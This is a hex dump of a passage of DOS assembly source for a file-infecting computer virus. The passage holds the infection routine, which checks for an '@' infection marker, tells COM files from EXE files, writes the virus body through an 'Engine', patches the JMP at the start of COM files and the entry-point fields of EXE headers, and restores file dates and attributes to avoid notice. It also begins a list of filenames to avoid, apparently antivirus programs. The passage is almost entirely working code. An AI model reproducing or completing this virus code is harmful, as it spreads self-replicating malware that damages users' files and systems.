|00003330| 20 20 69 6e 74 20 20 20 | 20 20 32 31 0d 0a 0d 0a |  int   |  21....|
|00003340| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003350| 6d 6f 76 20 20 20 20 20 | 64 69 2c 6f 66 66 73 65 |mov     |di,offse|
|00003360| 74 20 6f 6c 64 6c 65 6e | 20 20 20 20 20 20 20 20 |t oldlen|        |
|00003370| 3b 73 61 76 65 20 66 69 | 6c 65 6c 65 6e 67 74 68 |;save fi|lelength|
|00003380| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00003390| 20 20 6d 6f 76 20 20 20 | 20 20 5b 64 69 5d 2c 61 |  mov   |  [di],a|
|000033a0| 78 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x..     |        |
|000033b0| 20 20 20 6d 6f 76 20 20 | 20 20 20 5b 64 69 2b 32 |   mov  |   [di+2|
|000033c0| 5d 2c 64 78 0d 0a 0d 0a | 20 20 20 20 20 20 20 20 |],dx....|        |
|000033d0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|000033e0| 61 78 2c 77 6f 72 64 20 | 70 74 72 20 5b 73 69 2b |ax,word |ptr [si+|
|000033f0| 31 32 5d 20 20 20 20 20 | 3b 61 6c 72 65 61 64 79 |12]     |;already|
|00003400| 20 69 6e 66 65 63 74 65 | 64 3f 0d 0a 20 20 20 20 | infecte|d?..    |
|00003410| 20 20 20 20 20 20 20 20 | 20 20 20 20 61 64 64 20 |        |    add |
|00003420| 20 20 20 20 61 6c 2c 61 | 68 0d 0a 20 20 20 20 20 |    al,a|h..     |
|00003430| 20 20 20 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |        |   cmp  |
|00003440| 20 20 20 61 6c 2c 27 40 | 27 0d 0a 20 20 20 20 20 |   al,'@|'..     |
|00003450| 20 20 20 20 20 20 20 20 | 20 20 20 6a 7a 20 20 20 |        |   jz   |
|00003460| 20 20 20 63 6c 6f 73 65 | 76 0d 0a 0d 0a 20 20 20 |   close|v....   |
|00003470| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 6d 70 |        |     cmp|
|00003480| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 5b 73 |     wor|d ptr [s|
|00003490| 69 5d 2c 27 5a 4d 27 20 | 20 20 20 20 20 3b 45 58 |i],'ZM' |     ;EX|
|000034a0| 45 20 3f 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |E ?..   |        |
|000034b0| 20 20 20 20 20 6a 65 20 | 20 20 20 20 20 64 6f 5f |     je |     do_|
|000034c0| 45 58 45 0d 0a 0d 0a 64 | 6f 5f 43 4f 4d 3a 20 20 |EXE....d|o_COM:  |
|000034d0| 20 20 20 20 20 20 20 74 | 65 73 74 20 20 20 20 62 |       t|est    b|
|000034e0| 79 74 65 20 70 74 72 20 | 5b 73 69 5d 2c 38 30 20 |yte ptr |[si],80 |
|000034f0| 20 20 20 20 20 20 20 3b | 6d 61 79 62 65 20 61 20 |       ;|maybe a |
|00003500| 73 74 72 61 6e 67 65 20 | 45 58 45 3f 0d 0a 20 20 |strange |EXE?..  |
|00003510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6a 7a |        |      jz|
|00003520| 20 20 20 20 20 20 63 6c | 6f 73 65 76 0d 0a 0d 0a |      cl|osev....|
|00003530| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003540| 6d 6f 76 20 20 20 20 20 | 61 78 2c 77 6f 72 64 20 |mov     |ax,word |
|00003550| 70 74 72 20 5b 64 69 5d | 20 20 20 20 20 20 20 20 |ptr [di]|        |
|00003560| 3b 63 68 65 63 6b 20 6c | 65 6e 67 68 74 20 6f 66 |;check l|enght of|
|00003570| 20 66 69 6c 65 0d 0a 20 | 20 20 20 20 20 20 20 20 | file.. |        |
|00003580| 20 20 20 20 20 20 20 63 | 6d 70 20 20 20 20 20 61 |       c|mp     a|
|00003590| 68 2c 30 44 30 0d 0a 20 | 20 20 20 20 20 20 20 20 |h,0D0.. |        |
|000035a0| 20 20 20 20 20 20 20 6a | 61 65 20 20 20 20 20 63 |       j|ae     c|
|000035b0| 6c 6f 73 65 76 0d 0a 20 | 20 20 20 20 20 20 20 20 |losev.. |        |
|000035c0| 20 20 20 20 20 20 20 63 | 6d 70 20 20 20 20 20 61 |       c|mp     a|
|000035d0| 68 2c 31 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |h,1..   |        |
|000035e0| 20 20 20 20 20 6a 62 20 | 20 20 20 20 20 63 6c 6f |     jb |     clo|
|000035f0| 73 65 76 0d 0a 0d 0a 20 | 20 20 20 20 20 20 20 20 |sev.... |        |
|00003600| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 |       m|ov     d|
|00003610| 78 2c 61 78 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |x,ax..  |        |
|00003620| 20 20 20 20 20 20 61 64 | 64 20 20 20 20 20 64 78 |      ad|d     dx|
|00003630| 2c 30 31 30 30 0d 0a 20 | 20 20 20 20 20 20 20 20 |,0100.. |        |
|00003640| 20 20 20 20 20 20 20 63 | 61 6c 6c 20 20 20 20 77 |       c|all    w|
|00003650| 72 69 74 65 70 72 6f 67 | 20 20 20 20 20 20 20 20 |riteprog|        |
|00003660| 20 20 20 20 20 20 20 3b | 63 61 6c 6c 20 45 6e 67 |       ;|call Eng|
|00003670| 69 6e 65 20 61 6e 64 20 | 77 72 69 74 65 20 76 69 |ine and |write vi|
|00003680| 72 75 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |rus..   |        |
|00003690| 20 20 20 20 20 6a 6e 65 | 20 20 20 20 20 63 6c 6f |     jne|     clo|
|000036a0| 73 65 76 0d 0a 0d 0a 20 | 20 20 20 20 20 20 20 20 |sev.... |        |
|000036b0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 62 |       m|ov     b|
|000036c0| 79 74 65 20 70 74 72 20 | 5b 73 69 5d 2c 30 45 39 |yte ptr |[si],0E9|
|000036d0| 20 20 20 20 20 20 20 3b | 70 75 74 20 27 4a 4d 50 |       ;|put 'JMP|
|000036e0| 20 78 78 78 78 27 20 61 | 74 20 62 65 67 69 6e 0d | xxxx' a|t begin.|
|000036f0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00003700| 20 73 75 62 20 20 20 20 | 20 61 78 2c 6c 6f 77 20 | sub    | ax,low |
|00003710| 33 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |3..     |        |
|00003720| 20 20 20 6d 6f 76 20 20 | 20 20 20 77 6f 72 64 20 |   mov  |   word |
|00003730| 70 74 72 20 5b 73 69 2b | 31 5d 2c 61 78 0d 0a 20 |ptr [si+|1],ax.. |
|00003740| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6a |        |       j|
|00003750| 6d 70 20 20 20 20 20 64 | 6f 6e 65 0d 0a 0d 0a 63 |mp     d|one....c|
|00003760| 6c 6f 73 65 76 3a 20 20 | 20 20 20 20 20 20 20 6a |losev:  |       j|
|00003770| 6d 70 20 20 20 20 20 63 | 6c 6f 73 65 0d 0a 0d 0a |mp     c|lose....|
|00003780| 64 6f 5f 45 58 45 3a 20 | 20 20 20 20 20 20 20 20 |do_EXE: |        |
|00003790| 63 6d 70 20 20 20 20 20 | 77 6f 72 64 20 70 74 72 |cmp     |word ptr|
|000037a0| 20 5b 73 69 2b 31 38 5d | 2c 34 30 20 20 20 20 20 | [si+18]|,40     |
|000037b0| 3b 69 73 20 69 74 20 61 | 20 77 69 6e 64 6f 77 73 |;is it a| windows|
|000037c0| 2f 4f 53 32 20 45 58 45 | 20 3f 0d 0a 20 20 20 20 |/OS2 EXE| ?..    |
|000037d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 62 20 20 |        |    jb  |
|000037e0| 20 20 20 20 6e 6f 74 5f | 77 69 6e 0d 0a 0d 0a 20 |    not_|win.... |
|000037f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|00003800| 6f 76 20 20 20 20 20 61 | 78 2c 30 30 33 43 0d 0a |ov     a|x,003C..|
|00003810| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003820| 63 77 64 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |cwd..   |        |
|00003830| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 72 65 61 |     cal|l    rea|
|00003840| 64 62 79 74 65 73 0d 0a | 20 20 20 20 20 20 20 20 |dbytes..|        |
|00003850| 20 20 20 20 20 20 20 20 | 6a 63 20 20 20 20 20 20 |        |jc      |
|00003860| 63 6c 6f 73 65 76 0d 0a | 0d 0a 20 20 20 20 20 20 |closev..|..      |
|00003870| 20 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |        |  mov   |
|00003880| 20 20 61 78 2c 77 6f 72 | 64 20 70 74 72 20 5b 64 |  ax,wor|d ptr [d|
|00003890| 69 2b 38 5d 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |i+8]..  |        |
|000038a0| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 78 |      mo|v     dx|
|000038b0| 2c 77 6f 72 64 20 70 74 | 72 20 5b 64 69 2b 30 41 |,word pt|r [di+0A|
|000038c0| 5d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |]..     |        |
|000038d0| 20 20 20 63 61 6c 6c 20 | 20 20 20 72 65 61 64 62 |   call |   readb|
|000038e0| 79 74 65 73 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |ytes..  |        |
|000038f0| 20 20 20 20 20 20 6a 63 | 20 20 20 20 20 20 63 6c |      jc|      cl|
|00003900| 6f 73 65 76 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |osev..  |        |
|00003910| 20 20 20 20 20 20 0d 0a | 20 20 20 20 20 20 20 20 |      ..|        |
|00003920| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 |        |cmp     |
|00003930| 62 79 74 65 20 70 74 72 | 20 5b 64 69 2b 39 5d 2c |byte ptr| [di+9],|
|00003940| 27 45 27 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |'E'..   |        |
|00003950| 20 20 20 20 20 6a 65 20 | 20 20 20 20 20 63 6c 6f |     je |     clo|
|00003960| 73 65 76 0d 0a 0d 0a 6e | 6f 74 5f 77 69 6e 3a 20 |sev....n|ot_win: |
|00003970| 20 20 20 20 20 20 20 63 | 61 6c 6c 20 20 20 20 67 |       c|all    g|
|00003980| 65 74 6c 65 6e 0d 0a 20 | 20 20 20 20 20 20 20 20 |etlen.. |        |
|00003990| 20 20 20 20 20 20 20 63 | 61 6c 6c 20 20 20 20 63 |       c|all    c|
|000039a0| 61 6c 63 6c 65 6e 20 20 | 20 20 20 20 20 20 20 20 |alclen  |        |
|000039b0| 20 20 20 20 20 20 20 3b | 63 68 65 63 6b 20 66 6f |       ;|check fo|
|000039c0| 72 20 69 6e 74 65 72 6e | 61 6c 20 6f 76 65 72 6c |r intern|al overl|
|000039d0| 61 79 73 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |ays..   |        |
|000039e0| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 77 6f 72 |     cmp|     wor|
|000039f0| 64 20 70 74 72 20 5b 73 | 69 2b 34 5d 2c 61 78 0d |d ptr [s|i+4],ax.|
|00003a00| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00003a10| 20 6a 6e 65 20 20 20 20 | 20 63 6c 6f 73 65 0d 0a | jne    | close..|
|00003a20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003a30| 63 6d 70 20 20 20 20 20 | 77 6f 72 64 20 70 74 72 |cmp     |word ptr|
|00003a40| 20 5b 73 69 2b 32 5d 2c | 64 78 0d 0a 20 20 20 20 | [si+2],|dx..    |
|00003a50| 20 20 20 20 20 20 20 20 | 20 20 20 20 6a 6e 65 20 |        |    jne |
|00003a60| 20 20 20 20 63 6c 6f 73 | 65 0d 0a 0d 0a 20 20 20 |    clos|e....   |
|00003a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 63 6d 70 |        |     cmp|
|00003a80| 20 20 20 20 20 77 6f 72 | 64 20 70 74 72 20 5b 73 |     wor|d ptr [s|
|00003a90| 69 2b 30 43 5d 2c 30 20 | 20 20 20 20 20 3b 68 69 |i+0C],0 |     ;hi|
|00003aa0| 67 68 20 6d 65 6d 6f 72 | 79 20 61 6c 6c 6f 63 61 |gh memor|y alloca|
|00003ab0| 74 69 6f 6e 3f 0d 0a 20 | 20 20 20 20 20 20 20 20 |tion?.. |        |
|00003ac0| 20 20 20 20 20 20 20 6a | 65 20 20 20 20 20 20 63 |       j|e      c|
|00003ad0| 6c 6f 73 65 0d 0a 0d 0a | 20 20 20 20 20 20 20 20 |lose....|        |
|00003ae0| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 |        |cmp     |
|00003af0| 77 6f 72 64 20 70 74 72 | 20 5b 73 69 2b 31 41 5d |word ptr| [si+1A]|
|00003b00| 2c 30 20 20 20 20 20 20 | 3b 6f 76 65 72 6c 61 79 |,0      |;overlay|
|00003b10| 20 6e 72 2e 20 6e 6f 74 | 20 7a 65 72 6f 3f 0d 0a | nr. not| zero?..|
|00003b20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003b30| 6a 6e 65 20 20 20 20 20 | 63 6c 6f 73 65 0d 0a 0d |jne     |close...|
|00003b40| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00003b50| 20 63 61 6c 6c 20 20 20 | 20 67 65 74 6c 65 6e 20 | call   | getlen |
|00003b60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003b70| 20 3b 63 61 6c 63 75 6c | 61 74 65 20 6e 65 77 20 | ;calcul|ate new |
|00003b80| 43 53 20 26 20 49 50 0d | 0a 20 20 20 20 20 20 20 |CS & IP.|.       |
|00003b90| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |        | mov    |
|00003ba0| 20 63 78 2c 30 30 31 30 | 0d 0a 20 20 20 20 20 20 | cx,0010|..      |
|00003bb0| 20 20 20 20 20 20 20 20 | 20 20 64 69 76 20 20 20 |        |  div   |
|00003bc0| 20 20 63 78 0d 0a 20 20 | 20 20 20 20 20 20 20 20 |  cx..  |        |
|00003bd0| 20 20 20 20 20 20 73 75 | 62 20 20 20 20 20 61 78 |      su|b     ax|
|00003be0| 2c 77 6f 72 64 20 70 74 | 72 20 5b 73 69 2b 38 5d |,word pt|r [si+8]|
|00003bf0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00003c00| 20 20 64 65 63 20 20 20 | 20 20 61 78 0d 0a 20 20 |  dec   |  ax..  |
|00003c10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 61 64 |        |      ad|
|00003c20| 64 20 20 20 20 20 64 78 | 2c 6c 6f 77 20 31 30 0d |d     dx|,low 10.|
|00003c30| 0a 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |...     |        |
|00003c40| 20 20 20 63 61 6c 6c 20 | 20 20 20 77 72 69 74 65 |   call |   write|
|00003c50| 70 72 6f 67 20 20 20 20 | 20 20 20 20 20 20 20 20 |prog    |        |
|00003c60| 20 20 20 3b 63 61 6c 6c | 20 45 6e 67 69 6e 65 20 |   ;call| Engine |
|00003c70| 61 6e 64 20 77 72 69 74 | 65 20 76 69 72 75 73 0d |and writ|e virus.|
|00003c80| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00003c90| 20 6a 6e 65 20 20 20 20 | 20 63 6c 6f 73 65 0d 0a | jne    | close..|
|00003ca0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00003cb0| 20 20 6d 6f 76 20 20 20 | 20 20 77 6f 72 64 20 70 |  mov   |  word p|
|00003cc0| 74 72 20 5b 73 69 2b 31 | 36 5d 2c 61 78 20 20 20 |tr [si+1|6],ax   |
|00003cd0| 20 20 3b 70 75 74 20 43 | 53 20 69 6e 20 68 65 61 |  ;put C|S in hea|
|00003ce0| 64 65 72 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |der..   |        |
|00003cf0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 77 6f 72 |     mov|     wor|
|00003d00| 64 20 70 74 72 20 5b 73 | 69 2b 30 45 5d 2c 61 78 |d ptr [s|i+0E],ax|
|00003d10| 20 20 20 20 20 3b 70 75 | 74 20 53 53 20 69 6e 20 |     ;pu|t SS in |
|00003d20| 68 65 61 64 65 72 0d 0a | 20 20 20 20 20 20 20 20 |header..|        |
|00003d30| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00003d40| 77 6f 72 64 20 70 74 72 | 20 5b 73 69 2b 31 34 5d |word ptr| [si+14]|
|00003d50| 2c 64 78 20 20 20 20 20 | 3b 70 75 74 20 49 50 20 |,dx     |;put IP |
|00003d60| 69 6e 20 68 65 61 64 65 | 72 0d 0a 20 20 20 20 20 |in heade|r..     |
|00003d70| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00003d80| 20 20 20 77 6f 72 64 20 | 70 74 72 20 5b 73 69 2b |   word |ptr [si+|
|00003d90| 31 30 5d 2c 53 54 41 43 | 4b 4f 46 46 20 20 3b 70 |10],STAC|KOFF  ;p|
|00003da0| 75 74 20 53 50 20 69 6e | 20 68 65 61 64 65 72 0d |ut SP in| header.|
|00003db0| 0a 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |...     |        |
|00003dc0| 20 20 20 63 61 6c 6c 20 | 20 20 20 67 65 74 6c 65 |   call |   getle|
|00003dd0| 6e 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |n..     |        |
|00003de0| 20 20 20 61 64 64 20 20 | 20 20 20 61 78 2c 63 78 |   add  |   ax,cx|
|00003df0| 0d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |..      |        |
|00003e00| 20 20 61 64 63 20 20 20 | 20 20 64 78 2c 30 0d 0a |  adc   |  dx,0..|
|00003e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003e20| 63 61 6c 6c 20 20 20 20 | 63 61 6c 63 6c 65 6e 20 |call    |calclen |
|00003e30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003e40| 3b 70 75 74 20 6e 65 77 | 20 6c 65 6e 67 74 68 20 |;put new| length |
|00003e50| 69 6e 20 68 65 61 64 65 | 72 0d 0a 20 20 20 20 20 |in heade|r..     |
|00003e60| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00003e70| 20 20 20 77 6f 72 64 20 | 70 74 72 20 5b 73 69 2b |   word |ptr [si+|
|00003e80| 34 5d 2c 61 78 0d 0a 20 | 20 20 20 20 20 20 20 20 |4],ax.. |        |
|00003e90| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 77 |       m|ov     w|
|00003ea0| 6f 72 64 20 70 74 72 20 | 5b 73 69 2b 32 5d 2c 64 |ord ptr |[si+2],d|
|00003eb0| 78 0d 0a 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |x....   |        |
|00003ec0| 20 20 20 20 20 6c 65 61 | 20 20 20 20 20 64 69 2c |     lea|     di,|
|00003ed0| 5b 73 69 2b 30 41 5d 20 | 20 20 20 20 20 20 20 20 |[si+0A] |        |
|00003ee0| 20 20 20 20 20 3b 61 64 | 6a 75 73 74 20 6d 65 6d |     ;ad|just mem|
|00003ef0| 2e 20 61 6c 6c 6f 63 61 | 74 69 6f 6e 20 69 6e 66 |. alloca|tion inf|
|00003f00| 6f 0d 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |o..     |        |
|00003f10| 20 20 20 63 61 6c 6c 20 | 20 20 20 6d 65 6d 5f 61 |   call |   mem_a|
|00003f20| 64 6a 75 73 74 0d 0a 20 | 20 20 20 20 20 20 20 20 |djust.. |        |
|00003f30| 20 20 20 20 20 20 20 6c | 65 61 20 20 20 20 20 64 |       l|ea     d|
|00003f40| 69 2c 5b 73 69 2b 30 43 | 5d 0d 0a 20 20 20 20 20 |i,[si+0C|]..     |
|00003f50| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |        |   call |
|00003f60| 20 20 20 6d 65 6d 5f 61 | 64 6a 75 73 74 0d 0a 0d |   mem_a|djust...|
|00003f70| 0a 64 6f 6e 65 3a 20 20 | 20 20 20 20 20 20 20 20 |.done:  |        |
|00003f80| 20 63 61 6c 6c 20 20 20 | 20 67 6f 74 6f 62 65 67 | call   | gotobeg|
|00003f90| 69 6e 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |in..    |        |
|00003fa0| 20 20 20 20 63 61 6c 6c | 20 20 20 20 72 6e 64 5f |    call|    rnd_|
|00003fb0| 67 65 74 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |get     |        |
|00003fc0| 20 20 20 20 3b 73 69 67 | 6e 61 74 75 72 65 0d 0a |    ;sig|nature..|
|00003fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00003fe0| 6d 6f 76 20 20 20 20 20 | 61 68 2c 27 40 27 0d 0a |mov     |ah,'@'..|
|00003ff0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004000| 73 75 62 20 20 20 20 20 | 61 68 2c 61 6c 0d 0a 20 |sub     |ah,al.. |
|00004010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d |        |       m|
|00004020| 6f 76 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |ov     w|ord ptr |
|00004030| 5b 73 69 2b 31 32 5d 2c | 61 78 0d 0a 20 20 20 20 |[si+12],|ax..    |
|00004040| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00004050| 20 20 20 20 63 78 2c 42 | 55 46 4c 45 4e 20 20 20 |    cx,B|UFLEN   |
|00004060| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 77 72 69 |        |    ;wri|
|00004070| 74 65 20 6e 65 77 20 62 | 65 67 69 6e 0d 0a 20 20 |te new b|egin..  |
|00004080| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 6d 6f |        |      mo|
|00004090| 76 20 20 20 20 20 64 78 | 2c 73 69 0d 0a 20 20 20 |v     dx|,si..   |
|000040a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |        |     mov|
|000040b0| 20 20 20 20 20 61 68 2c | 34 30 0d 0a 20 20 20 20 |     ah,|40..    |
|000040c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 6e 74 20 |        |    int |
|000040d0| 20 20 20 20 32 31 0d 0a | 0d 0a 63 6c 6f 73 65 3a |    21..|..close:|
|000040e0| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |        |  pop   |
|000040f0| 20 20 63 78 20 20 20 20 | 20 20 20 20 20 20 20 20 |  cx    |        |
|00004100| 20 20 20 20 20 20 20 20 | 20 20 3b 72 65 73 74 6f |        |  ;resto|
|00004110| 72 65 20 64 61 74 65 20 | 26 20 74 69 6d 65 0d 0a |re date |& time..|
|00004120| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004130| 70 6f 70 20 20 20 20 20 | 64 78 0d 0a 20 20 20 20 |pop     |dx..    |
|00004140| 20 20 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |        |    mov |
|00004150| 20 20 20 20 61 78 2c 35 | 37 30 31 0d 0a 20 20 20 |    ax,5|701..   |
|00004160| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 6e 74 |        |     int|
|00004170| 20 20 20 20 20 32 31 0d | 0a 0d 0a 20 20 20 20 20 |     21.|...     |
|00004180| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |        |   mov  |
|00004190| 20 20 20 61 68 2c 33 45 | 20 20 20 20 20 20 20 20 |   ah,3E|        |
|000041a0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 63 6c 6f 73 |        |   ;clos|
|000041b0| 65 20 74 68 65 20 66 69 | 6c 65 0d 0a 20 20 20 20 |e the fi|le..    |
|000041c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 6e 74 20 |        |    int |
|000041d0| 20 20 20 20 32 31 0d 0a | 0d 0a 72 65 74 75 72 6e |    21..|..return|
|000041e0| 31 3a 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |1:      |  pop   |
|000041f0| 20 20 61 78 20 20 20 20 | 20 20 20 20 20 20 20 20 |  ax    |        |
|00004200| 20 20 20 20 20 20 20 20 | 20 20 3b 72 65 73 74 6f |        |  ;resto|
|00004210| 72 65 20 61 74 74 72 69 | 62 75 74 65 73 0d 0a 20 |re attri|butes.. |
|00004220| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 70 |        |       p|
|00004230| 6f 70 20 20 20 20 20 63 | 78 0d 0a 20 20 20 20 20 |op     c|x..     |
|00004240| 20 20 20 20 20 20 20 20 | 20 20 20 63 77 64 0d 0a |        |   cwd..|
|00004250| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00004260| 69 6e 74 20 20 20 20 20 | 32 31 0d 0a 0d 0a 20 20 |int     |21....  |
|00004270| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f |        |      po|
|00004280| 70 20 20 20 20 20 61 78 | 20 20 20 20 20 20 20 20 |p     ax|        |
|00004290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 72 |        |      ;r|
|000042a0| 65 73 74 6f 72 65 20 69 | 6e 74 32 34 20 76 65 63 |estore i|nt24 vec|
|000042b0| 74 6f 72 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |tor..   |        |
|000042c0| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 78 0d |     pop|     dx.|
|000042d0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|000042e0| 20 70 6f 70 20 20 20 20 | 20 64 73 0d 0a 20 20 20 | pop    | ds..   |
|000042f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 6e 74 |        |     int|
|00004300| 20 20 20 20 20 32 31 0d | 0a 0d 0a 20 20 20 20 20 |     21.|...     |
|00004310| 20 20 20 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |        |   pop  |
|00004320| 20 20 20 61 78 20 20 20 | 20 20 20 20 20 20 20 20 |   ax   |        |
|00004330| 20 20 20 20 20 20 20 20 | 20 20 20 3b 72 65 73 74 |        |   ;rest|
|00004340| 6f 72 65 20 63 74 72 6c | 2d 62 72 65 61 6b 20 66 |ore ctrl|-break f|
|00004350| 6c 61 67 0d 0a 20 20 20 | 20 20 20 20 20 20 20 20 |lag..   |        |
|00004360| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 78 0d |     pop|     dx.|
|00004370| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.       |        |
|00004380| 20 69 6e 74 20 20 20 20 | 20 32 31 0d 0a 0d 0a 20 | int    | 21.... |
|00004390| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 72 |        |       r|
|000043a0| 65 74 0d 0a 0d 0a 0d 0a | 3b 2a 2a 2a 2a 2a 2a 2a |et......|;*******|
|000043b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000043c0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000043d0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000043e0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000043f0| 2a 2a 2a 2a 2a 2a 2a 0d | 0a 3b 2a 20 20 20 20 20 |*******.|.;*     |
|00004400| 20 20 20 20 20 20 20 20 | 20 46 69 6c 65 6e 61 6d |        | Filenam|
|00004410| 65 73 20 74 6f 20 61 76 | 6f 69 64 0d 0a 3b 2a 2a |es to av|oid..;**|
|00004420| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004430| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004440| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004450| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|00004460| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 0d 0a 0d 0a |********|****....|
|00004470| 6e 61 6d 65 73 3a 20 20 | 20 20 20 20 20 20 20 20 |names:  |        |
|00004480| 64 62 20 20 20 20 20 20 | 27 43 4f 27 2c 20 27 53 |db      |'CO', 'S|
|00004490| 43 27 2c 20 27 43 4c 27 | 2c 20 27 56 53 27 2c 20 |C', 'CL'|, 'VS', |
